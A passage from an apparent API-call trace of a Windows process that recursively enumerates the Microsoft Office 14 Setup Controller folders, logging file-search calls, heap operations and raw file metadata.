lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0218.369] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.369] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0218.369] GetProcessHeap () returned 0x560000 [0218.369] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bd9a80 [0218.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.545] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.545] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0218.545] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0218.546] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0218.546] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0218.546] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.546] GetProcessHeap () returned 0x560000 [0218.547] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0218.547] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0218.547] GetProcessHeap () returned 0x560000 [0218.547] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bd9a80 [0218.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.549] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.549] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0218.549] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0218.549] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0218.550] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.550] GetProcessHeap () returned 0x560000 [0218.550] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0218.550] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0218.550] GetProcessHeap () returned 0x560000 [0218.550] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bd9a80 [0218.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.559] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.559] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0218.559] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0218.559] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0218.559] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.560] GetProcessHeap () returned 0x560000 [0218.560] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0218.560] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0218.560] GetProcessHeap () returned 0x560000 [0218.560] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bd9a80 [0218.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.564] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.564] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0218.565] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0218.565] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0218.565] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.565] GetProcessHeap () returned 0x560000 [0218.566] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0218.566] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0218.566] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0218.566] GetProcessHeap () returned 0x560000 [0218.566] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bd9a80 [0218.566] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.572] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.572] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0218.572] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0218.573] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0218.573] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0218.573] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0218.573] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0218.575] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.577] GetProcessHeap () returned 0x560000 [0218.578] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0218.578] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.580] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.580] GetProcessHeap () returned 0x560000 [0218.580] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0218.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0219.116] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0219.116] GetProcessHeap () returned 0x560000 [0219.116] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0219.117] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0219.117] GetProcessHeap () returned 0x560000 [0219.117] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0219.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 